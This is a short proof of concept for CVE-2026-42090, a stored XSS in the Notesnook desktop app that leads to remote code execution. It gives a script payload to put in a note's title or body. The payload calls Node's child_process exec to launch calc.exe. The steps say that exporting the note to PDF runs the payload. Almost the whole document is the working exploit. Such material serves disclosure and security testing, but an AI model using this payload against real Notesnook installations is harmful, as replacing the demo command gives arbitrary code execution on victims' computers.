CVE-2026-42090 Notesnook 存储型XSS致远程代码执行漏洞

<!-- Proof of Concept: Stored XSS to RCE in Notesnook Desktop --> <!-- 1. Create a note and set the title or content to the following payload: --> <script> // Exploit logic leveraging Electron nodeIntegration const { exec } = require('child_process'); // Example: Execute 'calc.exe' on Windows or 'open -a Calculator' on macOS exec('calc.exe', (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } console.log(`RCE Successful: ${stdout}`); }); </script> <!-- 2. Save the note. --> <!-- 3. Click 'Export to PDF' in the desktop application. --> <!-- 4. The script executes within the Electron main process context. -->